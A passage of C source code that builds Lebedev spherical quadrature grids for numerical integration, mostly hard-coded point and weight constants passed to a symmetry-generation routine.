c; g[71] = v; g[72] = b; g[73] = -a; g[74] = c; g[75] = v; g[76] = -b; g[77] = -a; g[78] = c; g[79] = v; g[80] = b; g[81] = a; g[82] = -c; g[83] = v; g[84] = -b; g[85] = a; g[86] = -c; g[87] = v; g[88] = b; g[89] = -a; g[90] = -c; g[91] = v; g[92] = -b; g[93] = -a; g[94] = -c; g[95] = v; g[96] = b; g[97] = c; g[98] = a; g[99] = v; g[100] = -b; g[101] = c; g[102] = a; g[103] = v; g[104] = b; g[105] = -c; g[106] = a; g[107] = v; g[108] = -b; g[109] = -c; g[110] = a; g[111] = v; g[112] = b; g[113] = c; g[114] = -a; g[115] = v; g[116] = -b; g[117] = c; g[118] = -a; g[119] = v; g[120] = b; g[121] = -c; g[122] = -a; g[123] = v; g[124] = -b; g[125] = -c; g[126] = -a; g[127] = v; g[128] = c; g[129] = a; g[130] = b; g[131] = v; g[132] = -c; g[133] = a; g[134] = b; g[135] = v; g[136] = c; g[137] = -a; g[138] = b; g[139] = v; g[140] = -c; g[141] = -a; g[142] = b; g[143] = v; g[144] = c; g[145] = a; g[146] = -b; g[147] = v; g[148] = -c; g[149] = a; g[150] = -b; g[151] = v; g[152] = c; g[153] = -a; g[154] = -b; g[155] = v; g[156] = -c; g[157] = -a; g[158] = -b; g[159] = v; g[160] = c; g[161] = b; g[162] = a; g[163] = v; g[164] = -c; g[165] = b; g[166] = a; g[167] = v; g[168] = c; g[169] = -b; g[170] = a; g[171] = v; g[172] = -c; g[173] = -b; g[174] = a; g[175] = v; g[176] = c; g[177] = b; g[178] = -a; g[179] = v; g[180] = -c; g[181] = b; g[182] = -a; g[183] = v; g[184] = c; g[185] = -b; g[186] = -a; g[187] = v; g[188] = -c; g[189] = -b; g[190] = -a; g[191] = v; num = 48; break; } return num; } static int MakeAngularGrid_6(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1666666666666667e+0; N += SphGenOh(&pOut[N][0], 0, a, b, v); return N; } static int MakeAngularGrid_14(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.6666666666666667e-1; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.7500000000000000e-1; N += SphGenOh(&pOut[N][0], 2, a, b, v); return N; } static int MakeAngularGrid_26(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.4761904761904762e-1; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.3809523809523810e-1; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.3214285714285714e-1; N += SphGenOh(&pOut[N][0], 2, a, b, v); return N; } static int MakeAngularGrid_38(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.9523809523809524e-2; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.3214285714285714e-1; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.4597008433809831e+0; v = 0.2857142857142857e-1; N += SphGenOh(&pOut[N][0], 4, a, b, v); return N; } static int MakeAngularGrid_50(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1269841269841270e-1; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.2257495590828924e-1; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.2109375000000000e-1; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.3015113445777636e+0; v = 0.2017333553791887e-1; N += SphGenOh(&pOut[N][0], 3, a, b, v); return N; } static int MakeAngularGrid_74(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.5130671797338464e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.1660406956574204e-1; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = -0.2958603896103896e-1; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.4803844614152614e+0; v = 0.2657620708215946e-1; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3207726489807764e+0; v = 0.1652217099371571e-1; N += SphGenOh(&pOut[N][0], 4, a, b, v); return N; } static int MakeAngularGrid_86(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1154401154401154e-1; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.1194390908585628e-1; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.3696028464541502e+0; v = 0.1111055571060340e-1; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6943540066026664e+0; v = 0.1187650129453714e-1; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3742430390903412e+0; v = 0.1181230374690448e-1; N += SphGenOh(&pOut[N][0], 4, a, b, v); return N; } static int MakeAngularGrid_110(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.3828270494937162e-2; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.9793737512487512e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.1851156353447362e+0; v = 0.8211737283191111e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6904210483822922e+0; v = 0.9942814891178103e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3956894730559419e+0; v = 0.9595471336070963e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4783690288121502e+0; v = 0.9694996361663028e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); return N; } static int MakeAngularGrid_146(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.5996313688621381e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.7372999718620756e-2; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.7210515360144488e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.6764410400114264e+0; v = 0.7116355493117555e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4174961227965453e+0; v = 0.6753829486314477e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1574676672039082e+0; v = 0.7574394159054034e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1403553811713183e+0; b = 0.4493328323269557e+0; v = 0.6991087353303262e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_170(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.5544842902037365e-2; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.6071332770670752e-2; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.6383674773515093e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2551252621114134e+0; v = 0.5183387587747790e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6743601460362766e+0; v = 0.6317929009813725e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4318910696719410e+0; v = 0.6201670006589077e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2613931360335988e+0; v = 0.5477143385137348e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4990453161796037e+0; b = 0.1446630744325115e+0; v = 0.5968383987681156e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_194(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1782340447244611e-2; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.5716905949977102e-2; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.5573383178848738e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.6712973442695226e+0; v = 0.5608704082587997e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2892465627575439e+0; v = 0.5158237711805383e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4446933178717437e+0; v = 0.5518771467273614e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1299335447650067e+0; v = 0.4106777028169394e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3457702197611283e+0; v = 0.5051846064614808e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1590417105383530e+0; b = 0.8360360154824589e+0; v = 0.5530248916233094e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_230(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = -0.5522639919727325e-1; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.4450274607445226e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.4492044687397611e+0; v = 0.4496841067921404e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2520419490210201e+0; v = 0.5049153450478750e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6981906658447242e+0; v = 0.3976408018051883e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6587405243460960e+0; v = 0.4401400650381014e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4038544050097660e-1; v = 0.1724544350544401e-1; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5823842309715585e+0; v = 0.4231083095357343e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3545877390518688e+0; v = 0.5198069864064399e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2272181808998187e+0; b = 0.4864661535886647e+0; v = 0.4695720972568883e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_266(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = -0.1313769127326952e-2; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = -0.2522728704859336e-2; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.4186853881700583e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.7039373391585475e+0; v = 0.5315167977810885e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1012526248572414e+0; v = 0.4047142377086219e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4647448726420539e+0; v = 0.4112482394406990e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3277420654971629e+0; v = 0.3595584899758782e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6620338663699974e+0; v = 0.4256131351428158e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8506508083520399e+0; v = 0.4229582700647240e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3233484542692899e+0; b = 0.1153112011009701e+0; v = 0.4080914225780505e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2314790158712601e+0; b = 0.5244939240922365e+0; v = 0.4071467593830964e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_302(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.8545911725128148e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.3599119285025571e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.3515640345570105e+0; v = 0.3449788424305883e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6566329410219612e+0; v = 0.3604822601419882e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4729054132581005e+0; v = 0.3576729661743367e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.9618308522614784e-1; v = 0.2352101413689164e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2219645236294178e+0; v = 0.3108953122413675e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7011766416089545e+0; v = 0.3650045807677255e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2644152887060663e+0; v = 0.2982344963171804e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5718955891878961e+0; v = 0.3600820932216460e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2510034751770465e+0; b = 0.8000727494073952e+0; v = 0.3571540554273387e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1233548532583327e+0; b = 0.4127724083168531e+0; v = 0.3392312205006170e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_350(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.3006796749453936e-2; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.3050627745650771e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.7068965463912316e+0; v = 0.1621104600288991e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4794682625712025e+0; v = 0.3005701484901752e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1927533154878019e+0; v = 0.2990992529653774e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6930357961327123e+0; v = 0.2982170644107595e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3608302115520091e+0; v = 0.2721564237310992e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6498486161496169e+0; v = 0.3033513795811141e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1932945013230339e+0; v = 0.3007949555218533e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3800494919899303e+0; v = 0.2881964603055307e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2899558825499574e+0; b = 0.7934537856582316e+0; v = 0.2958357626535696e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9684121455103957e-1; b = 0.8280801506686862e+0; v = 0.3036020026407088e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1833434647041659e+0; b = 0.9074658265305127e+0; v = 0.2832187403926303e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_434(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.5265897968224436e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.2548219972002607e-2; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.2512317418927307e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.6909346307509111e+0; v = 0.2530403801186355e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1774836054609158e+0; v = 0.2014279020918528e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4914342637784746e+0; v = 0.2501725168402936e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6456664707424256e+0; v = 0.2513267174597564e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2861289010307638e+0; v = 0.2302694782227416e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7568084367178018e-1; v = 0.1462495621594614e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3927259763368002e+0; v = 0.2445373437312980e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8818132877794288e+0; v = 0.2417442375638981e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9776428111182649e+0; v = 0.1910951282179532e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2054823696403044e+0; b = 0.8689460322872412e+0; v = 0.2416930044324775e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5905157048925271e+0; b = 0.7999278543857286e+0; v = 0.2512236854563495e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5550152361076807e+0; b = 0.7717462626915901e+0; v = 0.2496644054553086e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9371809858553722e+0; b = 0.3344363145343455e+0; v = 0.2236607760437849e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_590(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.3095121295306187e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.1852379698597489e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.7040954938227469e+0; v = 0.1871790639277744e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6807744066455243e+0; v = 0.1858812585438317e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6372546939258752e+0; v = 0.1852028828296213e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5044419707800358e+0; v = 0.1846715956151242e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4215761784010967e+0; v = 0.1818471778162769e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3317920736472123e+0; v = 0.1749564657281154e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2384736701421887e+0; v = 0.1617210647254411e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1459036449157763e+0; v = 0.1384737234851692e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6095034115507196e-1; v = 0.9764331165051050e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6116843442009876e+0; v = 0.1857161196774078e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3964755348199858e+0; v = 0.1705153996395864e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1724782009907724e+0; v = 0.1300321685886048e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5610263808622060e+0; b = 0.3518280927733519e+0; v = 0.1842866472905286e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4742392842551980e+0; b = 0.2634716655937950e+0; v = 0.1802658934377451e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5984126497885380e+0; b = 0.1816640840360209e+0; v = 0.1849830560443660e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3791035407695563e+0; b = 0.1720795225656878e+0; v = 0.1713904507106709e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2778673190586244e+0; b = 0.8213021581932511e-1; v = 0.1555213603396808e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5033564271075117e+0; b = 0.8999205842074875e-1; v = 0.1802239128008525e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_770(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.2192942088181184e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.1436433617319080e-2; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.1421940344335877e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.5087204410502360e-1; v = 0.6798123511050502e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1228198790178831e+0; v = 0.9913184235294912e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2026890814408786e+0; v = 0.1180207833238949e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2847745156464294e+0; v = 0.1296599602080921e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3656719078978026e+0; v = 0.1365871427428316e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4428264886713469e+0; v = 0.1402988604775325e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5140619627249735e+0; v = 0.1418645563595609e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6306401219166803e+0; v = 0.1421376741851662e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6716883332022612e+0; v = 0.1423996475490962e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6979792685336881e+0; v = 0.1431554042178567e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1446865674195309e+0; v = 0.9254401499865368e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3390263475411216e+0; v = 0.1250239995053509e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5335804651263506e+0; v = 0.1394365843329230e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6944024393349413e-1; b = 0.2355187894242326e+0; v = 0.1127089094671749e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2269004109529460e+0; b = 0.4102182474045730e+0; v = 0.1345753760910670e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8025574607775339e-1; b = 0.6214302417481605e+0; v = 0.1424957283316783e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1467999527896572e+0; b = 0.3245284345717394e+0; v = 0.1261523341237750e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1571507769824727e+0; b = 0.5224482189696630e+0; v = 0.1392547106052696e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2365702993157246e+0; b = 0.6017546634089558e+0; v = 0.1418761677877656e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7714815866765732e-1; b = 0.4346575516141163e+0; v = 0.1338366684479554e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3062936666210730e+0; b = 0.4908826589037616e+0; v = 0.1393700862676131e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3822477379524787e+0; b = 0.5648768149099500e+0; v = 0.1415914757466932e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_974(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1438294190527431e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.1125772288287004e-2; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.4292963545341347e-1; v = 0.4948029341949241e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1051426854086404e+0; v = 0.7357990109125470e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1750024867623087e+0; v = 0.8889132771304384e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2477653379650257e+0; v = 0.9888347838921435e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3206567123955957e+0; v = 0.1053299681709471e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3916520749849983e+0; v = 0.1092778807014578e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4590825874187624e+0; v = 0.1114389394063227e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5214563888415861e+0; v = 0.1123724788051555e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6253170244654199e+0; v = 0.1125239325243814e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6637926744523170e+0; v = 0.1126153271815905e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6910410398498301e+0; v = 0.1130286931123841e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7052907007457760e+0; v = 0.1134986534363955e-2; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1236686762657990e+0; v = 0.6823367927109931e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2940777114468387e+0; v = 0.9454158160447096e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4697753849207649e+0; v = 0.1074429975385679e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6334563241139567e+0; v = 0.1129300086569132e-2; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5974048614181342e-1; b = 0.2029128752777523e+0; v = 0.8436884500901954e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1375760408473636e+0; b = 0.4602621942484054e+0; v = 0.1075255720448885e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3391016526336286e+0; b = 0.5030673999662036e+0; v = 0.1108577236864462e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1271675191439820e+0; b = 0.2817606422442134e+0; v = 0.9566475323783357e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2693120740413512e+0; b = 0.4331561291720157e+0; v = 0.1080663250717391e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1419786452601918e+0; b = 0.6256167358580814e+0; v = 0.1126797131196295e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6709284600738255e-1; b = 0.3798395216859157e+0; v = 0.1022568715358061e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7057738183256172e-1; b = 0.5517505421423520e+0; v = 0.1108960267713108e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2783888477882155e+0; b = 0.6029619156159187e+0; v = 0.1122790653435766e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1979578938917407e+0; b = 0.3589606329589096e+0; v = 0.1032401847117460e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2087307061103274e+0; b = 0.5348666438135476e+0; v = 0.1107249382283854e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4055122137872836e+0; b = 0.5674997546074373e+0; v = 0.1121780048519972e-2; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_1202(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1105189233267572e-3; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.9205232738090741e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.9133159786443561e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.3712636449657089e-1; v = 0.3690421898017899e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.9140060412262223e-1; v = 0.5603990928680660e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1531077852469906e+0; v = 0.6865297629282609e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2180928891660612e+0; v = 0.7720338551145630e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2839874532200175e+0; v = 0.8301545958894795e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3491177600963764e+0; v = 0.8686692550179628e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4121431461444309e+0; v = 0.8927076285846890e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4718993627149127e+0; v = 0.9060820238568219e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5273145452842337e+0; v = 0.9119777254940867e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6209475332444019e+0; v = 0.9128720138604181e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6569722711857291e+0; v = 0.9130714935691735e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6841788309070143e+0; v = 0.9152873784554116e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7012604330123631e+0; v = 0.9187436274321654e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1072382215478166e+0; v = 0.5176977312965694e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2582068959496968e+0; v = 0.7331143682101417e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4172752955306717e+0; v = 0.8463232836379928e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5700366911792503e+0; v = 0.9031122694253992e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9827986018263947e+0; b = 0.1771774022615325e+0; v = 0.6485778453163257e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9624249230326228e+0; b = 0.2475716463426288e+0; v = 0.7435030910982369e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9402007994128811e+0; b = 0.3354616289066489e+0; v = 0.7998527891839054e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9320822040143202e+0; b = 0.3173615246611977e+0; v = 0.8101731497468018e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9043674199393299e+0; b = 0.4090268427085357e+0; v = 0.8483389574594331e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8912407560074747e+0; b = 0.3854291150669224e+0; v = 0.8556299257311812e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8676435628462708e+0; b = 0.4932221184851285e+0; v = 0.8803208679738260e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8581979986041619e+0; b = 0.4785320675922435e+0; v = 0.8811048182425720e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8396753624049856e+0; b = 0.4507422593157064e+0; v = 0.8850282341265444e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8165288564022188e+0; b = 0.5632123020762100e+0; v = 0.9021342299040653e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8015469370783529e+0; b = 0.5434303569693900e+0; v = 0.9010091677105086e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7773563069070351e+0; b = 0.5123518486419871e+0; v = 0.9022692938426915e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7661621213900394e+0; b = 0.6394279634749102e+0; v = 0.9158016174693465e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7553584143533510e+0; b = 0.6269805509024392e+0; v = 0.9131578003189435e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7344305757559503e+0; b = 0.6031161693096310e+0; v = 0.9107813579482705e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.7043837184021765e+0; b = 0.5693702498468441e+0; v = 0.9105760258970126e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_1454(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.7777160743261247e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 